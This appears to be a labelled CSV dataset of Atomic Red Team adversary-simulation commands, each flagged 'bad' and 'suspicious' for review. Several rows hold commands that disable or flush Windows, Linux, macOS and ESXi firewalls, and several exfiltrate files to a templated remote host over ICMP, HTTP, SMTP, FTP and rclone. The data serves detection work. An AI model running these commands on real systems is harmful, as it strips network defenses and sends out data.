56e2103f6517e23606f4334a,"netsh advfirewall firewall delete rule name=""Atomic Test"" | Out-Null Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore","netsh advfirewall firewall delete rule name=""Atomic Test"" | Out-Null Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Allow Executable Through Firewall Located in Non-Standard Location,T1562.004,"[""T1562.004""]",windows,0.55,True,This test will attempt to allow an executable through the system firewall located in the Users directory,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56fe31bcc93259d3559625bb,ufw disable,ufw disable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start UFW firewall,T1562.004,"[""T1562.004""]",linux,0.9,False,"Stop the Uncomplicated Firewall (UFW) if installed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
369f64c7c1ca7f21c74e6b4d,ufw enable ufw status verbose,ufw enable ufw status verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start UFW firewall,T1562.004,"[""T1562.004""]",linux,0.55,True,"Stop the Uncomplicated Firewall (UFW) if installed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef6c94a3a6d2cdd0915cb7a3,service pf stop service pf disable,service pf stop service pf disable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start Packet Filter,T1562.004,"[""T1562.004""]",linux,0.9,False,"Stop the Packet Filter if installed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d52fcc5906a97f7d12921a74,service pf enable service pf start service pf status,service pf enable service pf start service pf status,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start Packet Filter,T1562.004,"[""T1562.004""]",linux,0.55,True,"Stop the Packet Filter if installed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac48b93ea3797bb6ad8eae9a,systemctl stop ufw,systemctl stop ufw,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start UFW firewall systemctl,T1562.004,"[""T1562.004""]",linux,0.9,False,"Stop the Uncomplicated Firewall (UFW) if installed, using systemctl. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
396050609971af672d541da2,systemctl start ufw systemctl status ufw,systemctl start ufw systemctl status ufw,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Stop/Start UFW firewall systemctl,T1562.004,"[""T1562.004""]",linux,0.55,True,"Stop the Uncomplicated Firewall (UFW) if installed, using systemctl. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9fb5ef75165dce5bab3ed8d,ufw logging off,ufw logging off,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Turn off UFW logging,T1562.004,"[""T1562.004""]",linux,0.9,False,"Turn off the Uncomplicated Firewall (UFW) logging. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5aee8775cdf02c10c1d96053,ufw logging low ufw status verbose,ufw logging low ufw status verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Turn off UFW logging,T1562.004,"[""T1562.004""]",linux,0.55,True,"Turn off the Uncomplicated Firewall (UFW) logging. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
821d40d8e0aefc81dc1cb2c5,ufw prepend deny from 1.2.3.4 ufw status numbered,ufw prepend deny from 1.2.3.4 ufw status numbered,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Add and delete UFW firewall rules,T1562.004,"[""T1562.004""]",linux,0.9,False,"Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
554ae8d23675aced275fcd2a,{ echo y; echo response; } | ufw delete 1 ufw status numbered,{ echo y; echo response; } | ufw delete 1 ufw status numbered,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Add and delete UFW firewall rules,T1562.004,"[""T1562.004""]",linux,0.55,True,"Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
039fd352a0a0e5e2ea80d39d,"echo ""block in proto tcp from 1.2.3.4 to any"" | pfctl -a pf-rules -f - pfctl -a pf-rules -s rules","echo ""block in proto tcp from 1.2.3.4 to any"" | pfctl -a pf-rules -f - pfctl -a pf-rules -s rules",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Add and delete Packet Filter rules,T1562.004,"[""T1562.004""]",linux,0.9,False,"Add and delete a rule on the Packet Filter (PF) if installed and enabled. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba77c7b4ba98414cf1c5a3fe,"pfctl -a pf-rules -F rules sed -i """" '/anchor pf-rules/d' pfctl -f /etc/pf.conf","pfctl -a pf-rules -F rules sed -i """" '/anchor pf-rules/d' pfctl -f /etc/pf.conf",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Add and delete Packet Filter rules,T1562.004,"[""T1562.004""]",linux,0.55,True,"Add and delete a rule on the Packet Filter (PF) if installed and enabled. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
694a5ffbd975ddcd784ca8ce,"echo ""# THIS IS A COMMENT"" >> /etc/ufw/user.rules grep ""# THIS IS A COMMENT"" /etc/ufw/user.rules","echo ""# THIS IS A COMMENT"" >> /etc/ufw/user.rules grep ""# THIS IS A COMMENT"" /etc/ufw/user.rules",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall user.rules file,T1562.004,"[""T1562.004""]",linux,0.9,False,"Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ee6b6fb29b87230af543b2b,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall user.rules file,T1562.004,"[""T1562.004""]",linux,0.55,True,"Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0662d745bb8994a97370f64,"echo ""# THIS IS A COMMENT"" >> /etc/ufw/ufw.conf grep ""# THIS IS A COMMENT"" /etc/ufw/ufw.conf","echo ""# THIS IS A COMMENT"" >> /etc/ufw/ufw.conf grep ""# THIS IS A COMMENT"" /etc/ufw/ufw.conf",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall ufw.conf file,T1562.004,"[""T1562.004""]",linux,0.9,False,"Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf 
which controls if the firewall starts on boot and its logging level.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3d66c3200d1a365fc7f01a3d,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf cat /etc/ufw/ufw.conf,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf cat /etc/ufw/ufw.conf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall ufw.conf file,T1562.004,"[""T1562.004""]",linux,0.55,True,"Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf 
which controls if the firewall starts on boot and its logging level.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9244181c20369fc853c37204,"echo ""# THIS IS A COMMENT"" >> /etc/ufw/sysctl.conf grep ""# THIS IS A COMMENT"" /etc/ufw/sysctl.conf","echo ""# THIS IS A COMMENT"" >> /etc/ufw/sysctl.conf grep ""# THIS IS A COMMENT"" /etc/ufw/sysctl.conf",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall sysctl.conf file,T1562.004,"[""T1562.004""]",linux,0.9,False,"Edit the Uncomplicated Firewall (UFW) configuration file for setting network 
variables /etc/ufw/sysctl.conf.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd556396a03139b8b1b70d8e,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf cat /etc/ufw/sysctl.conf,sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf cat /etc/ufw/sysctl.conf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall sysctl.conf file,T1562.004,"[""T1562.004""]",linux,0.55,True,"Edit the Uncomplicated Firewall (UFW) configuration file for setting network 
variables /etc/ufw/sysctl.conf.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74692ae2038fd3e638e3bc1c,"echo ""# THIS IS A COMMENT"" >> /etc/default/ufw grep ""# THIS IS A COMMENT"" /etc/default/ufw","echo ""# THIS IS A COMMENT"" >> /etc/default/ufw grep ""# THIS IS A COMMENT"" /etc/default/ufw",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall main configuration file,T1562.004,"[""T1562.004""]",linux,0.9,False,"Edit the Uncomplicated Firewall (UFW) main configuration file for setting 
default policies /etc/default/ufw.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd96820832e54c8f4b0817cc,sed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw,sed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Edit UFW firewall main configuration file,T1562.004,"[""T1562.004""]",linux,0.55,True,"Edit the Uncomplicated Firewall (UFW) main configuration file for setting 
default policies /etc/default/ufw.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20231385a819ee40da4b146d,tail /var/log/ufw.log,tail /var/log/ufw.log,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Tail the UFW firewall log file,T1562.004,"[""T1562.004""]",linux,0.9,False,"Print  the last 10 lines of the Uncomplicated Firewall (UFW) log file 
/var/log/ufw.log.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3faa77010eecddf8192e6d22,iptables-save > /tmp/iptables.rules iptables -F,iptables-save > /tmp/iptables.rules iptables -F,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable iptables,T1562.004,"[""T1562.004""]",linux,0.9,False,"Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) 
Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables 
rules, which in fact ""disable"" iptables. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c3b9266eb0b1afdd44f591f8,iptables-restore < /tmp/iptables.rules,iptables-restore < /tmp/iptables.rules,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable iptables,T1562.004,"[""T1562.004""]",linux,0.55,True,"Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) 
Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables 
rules, which in fact ""disable"" iptables. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9c263808dca1343340bb8a1,iptables -D OUTPUT -p tcp --dport 21 -j DROP,iptables -D OUTPUT -p tcp --dport 21 -j DROP,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Modify/delete iptables firewall rules,T1562.004,"[""T1562.004""]",linux,0.9,False,"Instead of completely ""disabling"" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.
By doing so, they may cause less noise to avoid detection. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
076ab590e2f1747b3065cede,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" /v EnableFirewall /t REG_DWORD /d 0 /f reg add ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" /v EnableFirewall /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" /v EnableFirewall /t REG_DWORD /d 0 /f reg add ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" /v EnableFirewall /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,LockBit Black - Unusual Windows firewall registry modification -cmd,T1562.004,"[""T1562.004""]",windows,0.9,False,"An adversary tries to modify the windows firewall registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82407ab1b452359f56e8766a,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" /v EnableFirewall /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" /v EnableFirewall /f >nul 2>&1","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" /v EnableFirewall /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" /v EnableFirewall /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,LockBit Black - Unusual Windows firewall registry modification -cmd,T1562.004,"[""T1562.004""]",windows,0.55,True,"An adversary tries to modify the windows firewall registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbb9cc29c50ebeed2940c614,"New-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force New-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force","New-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force New-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,LockBit Black - Unusual Windows firewall registry modification -Powershell,T1562.004,"[""T1562.004""]",windows,0.9,False,"An adversary tries to modify the windows firewall registry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
420bd73e03e49ea9cc9a70e3,"Remove-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" -Name EnableFirewall -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" -Name EnableFirewall -Force -ErrorAction Ignore","Remove-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"" -Name EnableFirewall -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile"" -Name EnableFirewall -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,LockBit Black - Unusual Windows firewall registry modification -Powershell,T1562.004,"[""T1562.004""]",windows,0.55,True,"An adversary tries to modify the windows firewall registry.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8d75e29b377a4ac40aa7170b,netsh firewall set opmode mode=disable,netsh firewall set opmode mode=disable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Blackbit - Disable Windows Firewall using netsh firewall,T1562.004,"[""T1562.004""]",windows,0.9,False,"An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).     
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69eda46ca6d0aec2cab417e2,netsh firewall set opmode mode=enable >nul 2>&1,netsh firewall set opmode mode=enable >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Blackbit - Disable Windows Firewall using netsh firewall,T1562.004,"[""T1562.004""]",windows,0.55,True,"An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).     
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ecebff974052e79784d8756,#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_disable_firewall.txt,#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_disable_firewall.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,ESXi - Disable Firewall via Esxcli,T1562.004,"[""T1562.004""]",windows,0.9,False,"Adversaries may disable the ESXI firewall via ESXCLI
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23510f39190bb054590cd716,#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_enable_firewall.txt,#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1562.004\src\esxi_enable_firewall.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,ESXi - Disable Firewall via Esxcli,T1562.004,"[""T1562.004""]",windows,0.55,True,"Adversaries may disable the ESXI firewall via ESXCLI
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc26f9f1e04dcd549e17940f,"New-NetFirewallRule -DisplayName ""New rule"" -Direction ""#{direction}"" -LocalPort ""#{local_port}"" -Protocol ""#{protocol}"" -Action ""#{action}""","New-NetFirewallRule -DisplayName ""New rule"" -Direction ""#{direction}"" -LocalPort ""#{local_port}"" -Protocol ""#{protocol}"" -Action ""#{action}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Set a firewall rule using New-NetFirewallRule,T1562.004,"[""T1562.004""]",windows,0.9,False,This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c4c2f0b877156c26cbe53dc,"Remove-NetFirewallRule -DisplayName ""New rule""","Remove-NetFirewallRule -DisplayName ""New rule""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Set a firewall rule using New-NetFirewallRule,T1562.004,"[""T1562.004""]",windows,0.55,True,This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65fd3e7cfa39bc74266a76b5,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli network firewall set --default-action true""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli network firewall set --default-action true""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,ESXi - Set Firewall to PASS Traffic,T1562.004,"[""T1562.004""]",windows,0.9,False,"This test sets the default ESXi firewall action to PASS instead of DROP. This allows all incoming and outgoing traffic.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a40bcdf6aafb4fcc3a9bd6a6,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli network firewall set --default-action false""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""esxcli network firewall set --default-action false""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,ESXi - Set Firewall to PASS Traffic,T1562.004,"[""T1562.004""]",windows,0.55,True,"This test sets the default ESXi firewall action to PASS instead of DROP. This allows all incoming and outgoing traffic.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11e351fdcb9c8390cc921984,"$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(""#{ip_address}"", 1500, $Data) }","$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(""#{ip_address}"", 1500, $Data) }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,Exfiltration Over Alternative Protocol - ICMP,T1048.003,"[""T1048.003""]",windows,0.9,False,"Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef5cca1cab08bb5123901e10,$content = Get-Content #{input_file} Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content,$content = Get-Content #{input_file} Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,Exfiltration Over Alternative Protocol - HTTP,T1048.003,"[""T1048.003""]",windows,0.9,False,"Exfiltration of specified file over HTTP.
Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33ecc3dbbfa8ec48c273f68f,"Send-MailMessage -From #{sender} -To #{receiver} -Subject ""T1048.003 Atomic Test"" -Attachments #{input_file} -SmtpServer #{smtp_server}","Send-MailMessage -From #{sender} -To #{receiver} -Subject ""T1048.003 Atomic Test"" -Attachments #{input_file} -SmtpServer #{smtp_server}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,Exfiltration Over Alternative Protocol - SMTP,T1048.003,"[""T1048.003""]",windows,0.9,False,"Exfiltration of specified file over SMTP.
Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
27c0baa35af5ccc23393d6d1,"$Dir_to_copy = ""$env:windir\temp"" $ftp = ""ftp://#{ftp_server}/"" $web_client = New-Object System.Net.WebClient $web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}') if (test-connection -count 1 -computername ""#{ftp_server}"" -quiet) {foreach($file in (dir $Dir_to_copy ""*.7z"")) {echo ""Uploading $file..."" $uri = New-Object System.Uri($ftp+$file.name) $web_client.UploadFile($uri, $file.FullName)}} else {echo ""FTP Server Unreachable. Please verify the server address in input args and try again.""}","$Dir_to_copy = ""$env:windir\temp"" $ftp = ""ftp://#{ftp_server}/"" $web_client = New-Object System.Net.WebClient $web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}') if (test-connection -count 1 -computername ""#{ftp_server}"" -quiet) {foreach($file in (dir $Dir_to_copy ""*.7z"")) {echo ""Uploading $file..."" $uri = New-Object System.Uri($ftp+$file.name) $web_client.UploadFile($uri, $file.FullName)}} else {echo ""FTP Server Unreachable. Please verify the server address in input args and try again.""}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,MAZE FTP Upload,T1048.003,"[""T1048.003""]",windows,0.9,False,"This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
79c035718959dffe7dd7ac70,"$ftp = ""ftp://#{ftp_server}/"" try {foreach ($file in (dir ""$env:windir\temp"" ""*.7z"")) {$uri = New-Object System.Uri($ftp+$file.name) $ftp_del = [System.Net.FtpWebRequest]::create($uri) $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}') $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile $ftp_del.GetResponse()}} catch{}","$ftp = ""ftp://#{ftp_server}/"" try {foreach ($file in (dir ""$env:windir\temp"" ""*.7z"")) {$uri = New-Object System.Uri($ftp+$file.name) $ftp_del = [System.Net.FtpWebRequest]::create($uri) $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}') $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile $ftp_del.GetResponse()}} catch{}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,MAZE FTP Upload,T1048.003,"[""T1048.003""]",windows,0.55,True,"This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8642bfbd32a2d33dcbc42af,"$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include ""rclone.exe"" | Select-Object -ExpandProperty FullName $exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include ""exfil.zip"" | Select-Object -ExpandProperty FullName &$rclone_bin config create ftpserver ""ftp"" ""host"" #{ftp_server} ""port"" #{ftp_port} ""user"" #{ftp_user} ""pass"" #{ftp_pass} &$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate","$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include ""rclone.exe"" | Select-Object -ExpandProperty FullName $exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include ""exfil.zip"" | Select-Object -ExpandProperty FullName &$rclone_bin config create ftpserver ""ftp"" ""host"" #{ftp_server} ""port"" #{ftp_port} ""user"" #{ftp_user} ""pass"" #{ftp_pass} &$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,Exfiltration Over Alternative Protocol - FTP - Rclone,T1048.003,"[""T1048.003""]",windows,0.9,False,"Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.
[Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
